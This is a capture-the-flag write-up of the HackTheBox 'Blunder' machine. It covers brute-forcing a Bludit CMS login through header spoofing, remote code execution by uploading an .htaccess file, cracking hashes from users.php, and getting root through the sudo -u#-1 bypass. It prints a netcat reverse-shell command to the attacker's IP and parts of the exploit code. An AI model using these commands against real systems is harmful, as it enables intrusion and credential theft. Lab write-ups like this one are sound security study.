HackTheBox – Blunder

This is a box with a very unrealistic entry means. But beyond that priv esc was quite tricky, most notably because there are at least three (!) rabbit holes, and this really teaches you how to recognise and avoid sinking time into those.

Also I recognise that people who come across HTB writeups might not want to spoil themselves completely so I’ll relegate lessons learned to the end.

Enumeration

We have two ports here, 21 and 80. Not even 22 is open and 21 curiously is marked as closed rather than filtered.

FTP

We can confirm that FTP is closed but not much else.

root@kali:~/CTF/HTB/Blunder# ftp -p 10.10.10.191
ftp: connect: Connection refused
ftp>

Web 80

This loads what appears to be a blog.

nikto returned a lot of false positives which I confirmed only after some testing. Nothing else to do here so I ran gobuster after abandoning dirbuster for being too slow. Still this took 3 hours.

root@kali:~/CTF/HTB/Blunder# gobuster dir -u http://10.10.10.191 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x .php,.txt,.html,.conf,.bak,.sh,.pl,.cgi --timeout 40s -t 180
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.191
[+] Threads:        180
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     conf,bak,sh,pl,cgi,php,txt,html
[+] Timeout:        40s
===============================================================
2020/11/29 14:12:55 Starting gobuster
===============================================================
/about (Status: 200)
/0 (Status: 200)
/admin (Status: 301)
/install.php (Status: 200)
/robots.txt (Status: 200)
/usb (Status: 200)
/todo.txt (Status: 200)
[ERROR] 2020/11/29 14:37:44 [!] Get http://10.10.10.191/bylines.sh: net/http: re                                                             quest canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/29 14:38:42 [!] Get http://10.10.10.191/images_v4.php: net/http:                                                              request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/29 15:22:30 [!] Get http://10.10.10.191/contact_0.sh: net/http:                                                              request canceled (Client.Timeout exceeded while awaiting headers)
/server-status (Status: 403)
[ERROR] 2020/11/29 15:27:43 [!] Get http://10.10.10.191/informations.pl: net/htt                                                             p: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/29 15:30:55 [!] Get http://10.10.10.191/chooseapub.cgi: net/http                                                             : request canceled (Client.Timeout exceeded while awaiting headers)
/%3frid%3d2671 (Status: 200)
/%3frid%3d2671.sh (Status: 200)
/%3frid%3d2671.pl (Status: 200)
/%3frid%3d2671.cgi (Status: 200)
/%3frid%3d2671.php (Status: 200)
/%3frid%3d2671.txt (Status: 200)
/%3frid%3d2671.html (Status: 200)
/%3frid%3d2671.conf (Status: 200)
/%3frid%3d2671.bak (Status: 200)
[ERROR] 2020/11/29 15:58:04 [!] Get http://10.10.10.191/45055.cgi: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/29 16:00:42 [!] Get http://10.10.10.191/zana2.conf: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/29 16:11:09 [!] Get http://10.10.10.191/62864.html: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/29 16:11:41 [!] Get http://10.10.10.191/181192.html: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/29 16:14:05 [!] Get http://10.10.10.191/browse-b.cgi: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/29 16:14:32 [!] Get http://10.10.10.191/myfirst: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/29 16:14:41 [!] Get http://10.10.10.191/digitalfusiond.conf: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/29 16:15:51 [!] Get http://10.10.10.191/157844.cgi: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/29 16:16:40 [!] Get http://10.10.10.191/index_218.bak: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/29 16:16:40 [!] Get http://10.10.10.191/index_125.cgi: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/11/29 16:16:41 [!] Get http://10.10.10.191/index_219.bak: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
===============================================================
2020/11/29 17:00:02 Finished
===============================================================

robots.txt loaded this uninterestingly

User-agent: *
Allow: /

/todo.txt showed this

-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING

We get a username here and here it looks like the step “Update the CMS” isn’t done. This also explains why the FTP port is closed rather than filtered because it was running previously. I tried some of the Web dirs but they just led to the blog entries, which appeared to be lorem ipsum.

/admin was more interesting and loaded a login page with the Bludit CMS logo.

I tried some default creds including the username fergus

  • fergus/fergus
  • admin/fergus
  • admin/admin

None worked. Googled online for default creds and found this:

You can find your details by opening /bl-content/databases/users.php in a text editor.

Your username will most likely be admin

So I went to /bl-content

and then http://10.10.10.191/bl-content/databases/ but this led to

Not Found

The requested URL was not found on this server.

Bludit CMS

Confident now this was Bludit I checked the repo online and tried to discover the version. /bl-kernel showed this

but every single link led to

Bludit CMS.

But when you look at the source of one of Bludit’s many pages you see

<!DOCTYPE html>
<html>
<head>
    <title>Bludit</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="robots" content="noindex,nofollow">

    <!-- Favicon -->
    <link rel="shortcut icon" type="image/x-icon" href="/bl-kernel/img/favicon.png?version=3.9.2">

    <!-- CSS -->
    <link rel="stylesheet" type="text/css" href="http://10.10.10.191/bl-kernel/css/bootstrap.min.css?version=3.9.2">
<link rel="stylesheet" type="text/css" href="http://10.10.10.191/bl-kernel/admin/themes/booty/css/bludit.css?version=3.9.2">
<link rel="stylesheet" type="text/css" href="http://10.10.10.191/bl-kernel/admin/themes/booty/css/bludit.bootstrap.css?version=3.9.2">

which suggests 3.9.2 I wasn’t so sure that was the version, but 0xdf has a more elaborate way of cross-checking with the repo that it was. I just proceeded on the assumption that it was. searchsploit had these results.

root@kali:~/CTF/HTB/Blunder# searchsploit bludit
------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                               |  Path
------------------------------------------------------------------------------------------------------------- ---------------------------------
Bludit  3.9.2 - Authentication Bruteforce Mitigation Bypass                                                  | php/webapps/48746.rb
Bludit - Directory Traversal Image File Upload (Metasploit)                                                  | php/remote/47699.rb
Bludit 3.9.12 - Directory Traversal                                                                          | php/webapps/48568.py
Bludit 3.9.2 - Auth Bruteforce Bypass                                                                        | php/webapps/48942.py
Bludit 3.9.2 - Authentication Bruteforce Bypass (Metasploit)                                                 | php/webapps/49037.rb
Bludit 3.9.2 - Directory Traversal                                                                           | multiple/webapps/48701.txt
bludit Pages Editor 3.0.0 - Arbitrary File Upload                                                            | php/webapps/46060.txt
------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Some exploits there are meant for 3.9.2 Some required login creds which we don’t have. So we are left with trying to bruteforce authentication (bypass?) 48942 was released months after the box went live so I ignored that. Instead I looked at its reference and saw the page by rastating who discovered the vulnerability.

Bruteforcing Bludit CMS login

We still need a password list. I was quite loathe to try rockyou.txt since I don’t think recent boxes required bruteforcing with our own passwords lists. So I Googled and came across this. The page was dated after the box release but didn’t say whether it was meant for that. It explained that rastating’s vulnerability existed because the CMS trusts some HTTP header which can easily be modified

The vulnerability is that the Bludit CMS determines the end-user IP address by trusting the X-Forwarded-For and Client-IP HTTP headers and in the documentation, Bludit has provided how the brute force protection got implemented.

The page suggested creating a wordlist by using cewl and using that as the password list.

The POC in rastating generates a wordlist and then brute-force the application, but here I have created a wordlist using “CeWL” which spiders the given URL and modified the POC to pass the wordlists created.

I thought that was quite ridiculous but having no other options I tried this. Generate the wordlist based on the blog’s content.

root@kali:~/CTF/HTB/Blunder# cewl -w wordlist.txt -d 10 -m 1 http://10.10.10.191
CeWL 5.4.6 (Exclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
root@kali:~/CTF/HTB/Blunder# wc -l wordlist.txt
374 wordlist.txt

This gives us a list of 374 passwords (1 per line). I modified rastating’s script, specifically these lines

host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
#wordlist = []
'''
# Generate 50 incorrect passwords
for i in range(50):
    wordlist.append('Password{i}'.format(i = i))

# Add the correct password to the end of the list
wordlist.append('adminadmin')
'''
# Read passwords from file
with open("wordlist.txt") as file:
     wordlist = [line.rstrip() for line in file]

Note I block-commented out wordlist generation since we already have it and instead have it read from our file. Then I ran the script

root@kali:~/CTF/HTB/Blunder# ./bruteforce.py
[*] Trying: the
[*] Trying: Load
[*] Trying: Plugins
[*] Trying: and
[*] Trying: for
[*] Trying: Include
[*] Trying: Site
[*] Trying: Page
[*] Trying: has
[*] Trying: About
[*] Trying: King
[*] Trying: with
[*] Trying: USB
[*] Trying: Begin
[*] Trying: more
[*] Trying: End
[*] Trying: service
[*] Trying: from
[*] Trying: Stadia
[*] Trying: Dynamic
[*] Trying: tag
[*] Trying: blunder
[*] Trying: interesting
[*] Trying: facts
[*] Trying: CSS
[*] Trying: this
[*] Trying: Body
[*] Trying: devices
[*] Trying: been
[*] Trying: Google
[*] Trying: games
[*] Trying: Post
[*] Trying: Cover
[*] Trying: image
[*] Trying: Title
[*] Trying: content
[*] Trying: created
[*] Trying: pages
[*] Trying: Creation
[*] Trying: date
[*] Trying: November
[*] Trying: Reading
[*] Trying: time
[*] Trying: minute
[*] Trying: books
[*] Trying: have
[*] Trying: Awards
[*] Trying: Fantasy
[*] Trying: National
[*] Trying: The
[*] Trying: his
[*] Trying: was
[*] Trying: players
[*] Trying: allows
[*] Trying: stream
[*] Trying: site
[*] Trying: title
[*] Trying: description
[*] Trying: Favicon
[*] Trying: Bootstrap
[*] Trying: file
[*] Trying: bootstrap
[*] Trying: css
[*] Trying: Styles
[*] Trying: theme
[*] Trying: head
[*] Trying: Robots
[*] Trying: plugin
[*] Trying: Navbar
[*] Trying: Static
[*] Trying: Social
[*] Trying: Networks
[*] Trying: Content
[*] Trying: Blog
[*] Trying: Posts
[*] Trying: Stephen
[*] Trying: such
[*] Trying: Right
[*] Trying: Sidebar
[*] Trying: dump
[*] Trying: fact
[*] Trying: files
[*] Trying: nothing
[*] Trying: Footer
[*] Trying: Copyright
[*] Trying: Powered
[*] Trying: byEgotisticalSW
[*] Trying: Javascript
[*] Trying: American
[*] Trying: fiction
[*] Trying: novels
[*] Trying: than
[*] Trying: which
[*] Trying: feature
[*] Trying: series
[*] Trying: published
[*] Trying: received
[*] Trying: World
[*] Trying: awarded
[*] Trying: Medal
[*] Trying: also
[*] Trying: literature
[*] Trying: Award
[*] Trying: Arts
[*] Trying: high
[*] Trying: range
[*] Trying: via
[*] Trying: data
[*] Trying: centers
[*] Trying: through
[*] Trying: smartphones
[*] Trying: tablets
[*] Trying: state
[*] Trying: This
[*] Trying: used
[*] Trying: that
[*] Trying: users
[*] Trying: library
[*] Trying: free
[*] Trying: their
[*] Trying: other
[*] Trying: Full
[*] Trying: Breaked
[*] Trying: name
[*] Trying: most
[*] Trying: Read
[*] Trying: button
[*] Trying: are
[*] Trying: Edwin
[*] Trying: born
[*] Trying: September
[*] Trying: author
[*] Trying: horror
[*] Trying: supernatural
[*] Trying: suspense
[*] Trying: fantasy
[*] Trying: His
[*] Trying: sold
[*] Trying: million
[*] Trying: copies
[*] Trying: many
[*] Trying: adapted
[*] Trying: into
[*] Trying: films
[*] Trying: miniseries
[*] Trying: television
[*] Trying: comic
[*] Trying: including
[*] Trying: seven
[*] Trying: under
[*] Trying: pen
[*] Trying: Richard
[*] Trying: Bachman
[*] Trying: six
[*] Trying: non
[*] Trying: written
[*] Trying: approximately
[*] Trying: short
[*] Trying: stories
[*] Trying: book
[*] Trying: collections
[*] Trying: Bram
[*] Trying: Stoker
[*] Trying: British
[*] Trying: Society
[*] Trying: Book
[*] Trying: Foundation
[*] Trying: him
[*] Trying: Distinguished
[*] Trying: Contribution
[*] Trying: Letters
[*] Trying: probably
[*] Trying: best
[*] Trying: fictional
[*] Trying: character
[*] Trying: RolandDeschain

SUCCESS: Password found!
Use fergus:RolandDeschain to login.

I was surprised when it worked. That was more hail mary than anything else. It was pretty unrealistic though. I tested the login and it worked.

Bludit RCE

We can try 48701 but I hesitated because it was released nearly 2 months after box went live. Instead I looked at the CVE and searched Github and managed to find this from 5 Jun, which is just 5 days after the box release date. Let’s try to ping ourselves with this.

root@kali:~/CTF/HTB/Blunder# ./CVE-2019-16113.py -u http://10.10.10.191 -user fergus -pass RolandDeschain -c 'ping -c 4 10.10.14.78'


╔╗ ┬  ┬ ┬┌┬┐┬┌┬┐  ╔═╗╦ ╦╔╗╔
╠╩╗│  │ │ │││ │   ╠═╝║║║║║║
╚═╝┴─┘└─┘─┴┘┴ ┴   ╩  ╚╩╝╝╚╝

 CVE-2019-16113 CyberVaca


[+] csrf_token: 8823f1f91d2de39e42b56e9926cc6724e21baeae
[+] cookie: ck7phle5vdcsj6nnbasduheq92
[+] csrf_token: d1069abfa0cea4db94412a77b52a07ae494b472e
[+] Uploading qivjhtsa.jpg
[+] Executing command: ping -c 4 10.10.14.78
[+] Delete: .htaccess
[+] Delete: qivjhtsa.jpg

and we get pingbacks.

root@kali:~/CTF/HTB/Blunder# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
17:55:33.855599 IP 10.10.10.191 > 10.10.14.78: ICMP echo request, id 4496, seq 1, length 64
17:55:33.855613 IP 10.10.14.78 > 10.10.10.191: ICMP echo reply, id 4496, seq 1, length 64
17:55:34.857273 IP 10.10.10.191 > 10.10.14.78: ICMP echo request, id 4496, seq 2, length 64
17:55:34.857297 IP 10.10.14.78 > 10.10.10.191: ICMP echo reply, id 4496, seq 2, length 64
17:55:35.859154 IP 10.10.10.191 > 10.10.14.78: ICMP echo request, id 4496, seq 3, length 64
17:55:35.859167 IP 10.10.14.78 > 10.10.10.191: ICMP echo reply, id 4496, seq 3, length 64
17:55:36.860608 IP 10.10.10.191 > 10.10.14.78: ICMP echo request, id 4496, seq 4, length 64
17:55:36.860633 IP 10.10.14.78 > 10.10.10.191: ICMP echo reply, id 4496, seq 4, length 64

Now why exactly does this work? I searched for write up for how it worked but the earliest version of the exploit came from Metasploit and the reference linked this. What seemed to be happening was that a PHP shell exec was uploaded as a .jpg file which by itself is harmless since the Web server won’t execute files with image extensions even if are secretly PHP code.

What could change this is .htaccess. In a nutshell, .htaccess tells the browser and more importantly the server how to handle each file’s extension. Here’s how a user was advised to change his .htaccess to make all the .html files execute as .php files. In the exploit there’s this function which uploads a new .htaccess file telling the server to treat .jpg files as PHP code.

def subida_htaccess(url,la_cookie,token_logado):
    session = requests.Session()
    paramsPost = {"uuid":"../../tmp","tokenCSRF":token_logado}
    paramsMultipart = [('images[]', ('.htaccess', "RewriteEngine off\r\nAddType application/x-httpd-php .jpg", 'application/octet-stream'))]
    headers = {"Origin":url,"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0","Connection":"close","Referer":url + "/admin/new-content","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate"}
    cookies = {"BLUDIT-KEY":la_cookie}
    response = session.post(url + "/admin/ajax/upload-images", data=paramsPost, files=paramsMultipart, headers=headers, cookies=cookies)

So to sum up, there are two vulnerabilities here, one the Bludit CMS doesn’t sanitise uploaded image files as code, and secondly it allows the user to replace .htaccess and traverse the directory to upload these files to /tmp (a Web dir) where the uploaded .htaccess file which treats .jpg files as PHP files holds sway. But interestingly if you see the issue in the repo a user claims that

its too late but you dont even need to upload .htaccess or jpg

you can upload php file into server and may get some error that you cant upload such format but btw it will be upload to server and you can use that php file

As I didn’t investigate this I can’t comment.

RCE to shell

To go from RCE to shell we can use the OpenBSD netcat reverse shell

root@kali:~/CTF/HTB/Blunder# ./CVE-2019-16113.py -u http://10.10.10.191 -user fergus -pass RolandDeschain -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.78 443 >/tmp/f'


╔╗ ┬  ┬ ┬┌┬┐┬┌┬┐  ╔═╗╦ ╦╔╗╔
╠╩╗│  │ │ │││ │   ╠═╝║║║║║║
╚═╝┴─┘└─┘─┴┘┴ ┴   ╩  ╚╩╝╝╚╝

 CVE-2019-16113 CyberVaca


[+] csrf_token: 824085cd443eb2993476e02b7c08dd062f8690c8
[+] cookie: dir08itnohn44eln7u262gh470
[+] csrf_token: 528ef385890b04e9b85e5592dc3e2355641709ec
[+] Uploading ohhapfse.jpg
[+] Executing command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.78 443 >/tmp/f
[+] Delete: .htaccess
[+] Delete: ohhapfse.jpg

and this gets a shell

root@kali:~/CTF/HTB/Blunder# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.78] from (UNKNOWN) [10.10.10.191] 47060
bash: cannot set terminal process group (1075): Inappropriate ioctl for device
bash: no job control in this shell
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$

Post-exploitation

Now this is where the fun begins because this box is full of rabbit holes on the inside. I quickly checked the Apache vhost config, but there was nothing notable there. Ran linpeas and lse.

In /home/shaun/Pictures there are two pictures:

The left looks like shaun escalating to root after switching to hugo. We’re not shaun yet so maybe the goal is to get there. The right shows a file databases and this is where understanding what Bludit really is helps. It’s a flat file CMS which means it doesn’t use SQL databases and instead stores data including user info in files. This appears to be such a file, which may contain creds.

Escalate to hugo

In /var/www there are two CMS folders, 3.9.2 and 3.10.0a, presumably the CMS which they were supposed to upgrade to. 3.9.2 has this

www-data@blunder /var/www/bludit-3.9.2/bl-content/databases $ cat users.php

{
    "admin": {
        "nickname": "Admin",
        "firstName": "Administrator",
        "lastName": "",
        "role": "admin",
        "password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
        "salt": "5dde2887e7aca",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""
    },
    "fergus": {
        "firstName": "",
        "lastName": "",
        "nickname": "",
        "description": "",
        "role": "author",
        "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
        "salt": "jqxpjfnv",
        "email": "",
        "registered": "2019-11-27 13:26:44",
        "tokenRemember": "",
        "tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "codepen": "",
        "instagram": "",
        "github": "",
        "gitlab": "",
        "linkedin": "",
        "mastodon": ""
    }

The passwords are hashed but the salt is provided however I had no idea how to crack it. But in 3.10.0a there was an unhashed one.

www-data@blunder /var/www/bludit-3.10.0a/bl-content/databases $ cat users.php

{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
}

Initially I wasn’t able to crack it with john, so I took it online and it cracked easily.

I found out later that while the password wasn’t in rockyou.txt, a different case variant of it was, which could be cracked by john if you specified the --rules switch.

root@kali:~/CTF/HTB/Blunder# john --wordlist=/usr/share/wordlists/rockyou.txt --rules hugo.hash
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt"
Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-Linkedin"
Use the "--format=Raw-SHA1-Linkedin" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "ripemd-160"
Use the "--format=ripemd-160" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "has-160"
Use the "--format=has-160" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
Password120      (hugo)
1g 0:00:00:15 DONE (2020-12-03 01:14) 0.06257g/s 1042Kp/s 1042Kc/s 1042KC/s Password125..Password1122
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed
root@kali:~/CTF/HTB/Blunder# grep -i Password120 /usr/share/wordlists/rockyou.txt
password120
PASSWORD1204
password1209
password12079
password1207
password1200

With this we could switch to hugo

www-data@blunder /var/www $ su hugo
Password:
hugo@blunder:/var/www$

Escalate to shaun

hugo has some sudo rights, and it looks like we could run /bin/bash as any user except root.

hugo@blunder:~$ sudo -l
Password:
Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash
hugo@blunder:~$ sudo /bin/bash
Sorry, user hugo is not allowed to execute '/bin/bash' as root on blunder.
hugo@blunder:~$ sudo -u shaun /bin/bash
shaun@blunder:/home/hugo$

So I chose shaun here. Now this is a big mistake I didn’t realise until much later but its important to point out the rabbit holes and why they are as such. I also ran linpeas again.

Rabbit hole 1: /ftp

FTP was disabled on this box but there’s an unconventional /ftp folder in /. I enumerated it but it led nowhere even though a note.txt left there seemed particularly interesting.

www-data@blunder /ftp $ cat note.txt
Hey Sophie
I've left the thing you're looking for in here for you to continue my work
when I leave. The other thing is the same although Ive left it elsewhere too.

Its using the method we talked about; dont leave it on a post-it note this time!

Thanks
Shaun

Rabbit hole 2: shaun in lxd group

The user shaun belongs to the lxd group, which linpeas highlighted yellow (95% PE vector)

uid=1000(shaun) gid=1000(shaun) groups=1000(shaun),4(adm),24(cdrom),30(dip),46(plugdev),119(lpadmin),130(lxd),131(sambashare)

I read here and here to understand what lxd was and how to exploit it. Apparently its some containerisation technology formerly used by docker to run Linux (and only Linux) containers on the system. Unfortunately, lxd/lxc isn’t installed making this impossible.

shaun@blunder:/home/hugo$ lxc list

Command 'lxc' not found, but can be installed with:

snap install lxd            # version 4.1, or
apt  install lxd-installer  # version 1
apt  install lxd            # version 1:0.7

See 'snap info lxd' for additional versions.

shaun@blunder:/home/hugo$ lxd list

Command 'lxd' not found, but can be installed with:

snap install lxd            # version 4.1, or
apt  install lxd-installer  # version 1
apt  install lxd            # version 1:0.7

See 'snap info lxd' for additional versions.
shaun@blunder:/home/hugo$ dpkg -l | grep lxd
shaun@blunder:/home/hugo$ dpkg -l | grep lxc
shaun@blunder /tmp $ snap info lxd
error: no snap found for "lxd"

shaun is also in adm group, which means he can read most logs in /var/log. But I wasn’t able to find anything notable there.

Rabbit hole 3: poc.py

Recall from the above pics in shaun’s Pictures folder there was one where the user hugo ran a poc.py in /usr/local/sbin and became root. Unfortunately I could find no such file

shaun@blunder ~$ find / -name poc.py 2>/dev/null
shaun@blunder ~$

Nor did I discover that hugo owned any files worth investigating outside of /home/hugo

www-data@blunder /home/hugo $ find / -path /proc -prune -false -o -user hugo 2>/dev/null
/home/hugo
/home/hugo/Templates
/home/hugo/.ssh
/home/hugo/Pictures
/home/hugo/Videos
/home/hugo/.config
/home/hugo/.cache
/home/hugo/.bashrc
/home/hugo/.local
/home/hugo/.local/share
/home/hugo/.mozilla
/home/hugo/.profile
/home/hugo/user.txt
/home/hugo/.gnupg
/home/hugo/Downloads
/home/hugo/.bash_logout
/home/hugo/Desktop
/home/hugo/Public
/home/hugo/Music
/home/hugo/Documents

I also saw from linpeas that we could switch to the user temp with password “temp” but that didn’t give us any special privileges.

[+] Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds
  Bruteforcing user root...
  Bruteforcing user shaun...
  Bruteforcing user hugo...
  Bruteforcing user temp...
  You can login as temp using password: password

www-data@blunder /var/www $ su - temp
Password:
su: warning: cannot change directory to /home/temp: No such file or directory
temp@blunder:/var/www$

pspy didn’t show any unusual activity either.

Escalate to root

linpeas had in fact highlighted this in red but I didn’t notice it at first.

[+] Sudo version
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.25p1

I Googled

"(ALL, !root)" -blunder

and found these two links. The second described the vulnerability as

That -u#-1 will bypass the above restriction, and run Vi as root for bob. Now bob can change any file on the system. Oops.

This happens because, say, -u#1234 can be used on the command line with Sudo to run the command, Vi in this case, as user ID 1234. This user ID value is passed to the setresuid and setreuid system calls by Sudo to change the effective user ID of the command.

Thus, -u#-1 passes -1 to those calls to change the effective ID to -1. However, these system calls treat -1 as a special case: it means do not change the user ID. And seeing as Sudo runs as root initially, -1 means continue running as root. So, in the above case, Vi runs as root. Also, amusingly, the user ID 4294967295 will bypass the restrictions because, as a signed 32-bit integer, it equals -1.

I checked searchsploit

root@kali:~/CTF/HTB/Blunder# searchsploit sudo
----------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                             |  Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
(Tod Miller's) Sudo/SudoEdit 1.6.9p21/1.7.2p4 - Local Privilege Escalation                                 | multiple/local/11651.sh
Apple Mac OSX - Sudo Password Bypass (Metasploit)                                                          | osx/local/27944.rb
Battery Life Toolkit 1.0.9 - 'bltk_sudo' Local Privilege Escalation                                        | linux/local/33576.txt
ptrace - Sudo Token Privilege Escalation (Metasploit)                                                      | linux/local/47345.rb
RedStar 3.0 Desktop - Enable sudo Privilege Escalation                                                     | linux/local/35746.sh
Sudo 1.3.1 < 1.6.8p (OpenBSD) - Pathname Validation Privilege Escalation                                   | bsd/local/1087.c
Sudo 1.5/1.6 - Heap Corruption                                                                             | linux/local/20901.c
Sudo 1.6.3 - Unclean Environment Variable Privilege Escalation                                             | linux/local/21227.sh
Sudo 1.6.8 - Information Disclosure                                                                        | linux/local/24606.c
Sudo 1.6.8p9 - SHELLOPTS/PS4 Environment Variables Privilege Escalation                                    | linux/local/1310.txt
Sudo 1.6.9p18 - 'Defaults SetEnv' Local Privilege Escalation                                               | multiple/local/7129.sh
Sudo 1.6.x - Environment Variable Handling Security Bypass (1)                                             | linux/local/27056.pl
Sudo 1.6.x - Environment Variable Handling Security Bypass (2)                                             | linux/local/27057.py
Sudo 1.6.x - Password Prompt Heap Overflow                                                                 | linux/local/21420.c
sudo 1.8.0 < 1.8.3p1 - 'sudo_debug' glibc FORTIFY_SOURCE Bypass + Privilege Escalation                     | linux/local/25134.c
sudo 1.8.0 < 1.8.3p1 - Format String                                                                       | linux/dos/18436.txt
Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) - 'Sudoedit' Unauthorized Privilege Escalation                           | linux/local/37710.txt
Sudo 1.8.20 - 'get_process_ttyname()' Local Privilege Escalation                                           | linux/local/42183.c
Sudo 1.8.25p - 'pwfeedback' Buffer Overflow                                                                | linux/local/48052.sh
Sudo 1.8.25p - 'pwfeedback' Buffer Overflow (PoC)                                                          | linux/dos/47995.txt
sudo 1.8.27 - Security Bypass                                                                              | linux/local/47502.py
Sudo Perl 1.6.x - Environment Variable Handling Security Bypass                                            | linux/local/26498.txt
sudo.bin - NLSPATH Privilege Escalation                                                                    | linux/local/319.c
SudoEdit 1.6.8 - Local Change Permission                                                                   | linux/local/470.c
ZPanel zsudo - Local Privilege Escalation (Metasploit)                                                     | linux/local/26451.rb
----------------------------------------------------------------------------------------------------------- ---------------------------------
----------------------------------------------------------------------------------------------------------- ---------------------------------
 Shellcode Title                                                                                           |  Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
Linux/x86 - chmod 777 /etc/sudoers Shellcode (36 bytes)                                                    | linux_x86/43463.nasm
Linux/x86 - Edit /etc/sudoers (ALL ALL=(ALL) NOPASSWD: ALL) For Full Access + Null-Free Shellcode (79 byte | linux_x86/44507.c
Linux/x86 - Edit /etc/sudoers (ALL ALL=(ALL) NOPASSWD: ALL) For Full Access Shellcode (86 bytes)           | linux_x86/13331.c
----------------------------------------------------------------------------------------------------------- ---------------------------------
Papers: No Results

Of this, 47502 explains how to exploit it and that the vulnerability exists up till 1.8.27 (this is 1.8.25). Hence we can get root

hugo@blunder:~$ sudo -u#-1 /bin/bash
Password:
root@blunder:/home/hugo# id
uid=0(root) gid=1001(hugo) groups=1001(hugo)

Lessons learned

  • Understanding what .htaccess is and how it works.
  • Using the --rules switch in john to bruteforce case variants of passwords.
  • Detecting and avoiding priv esc rabbit holes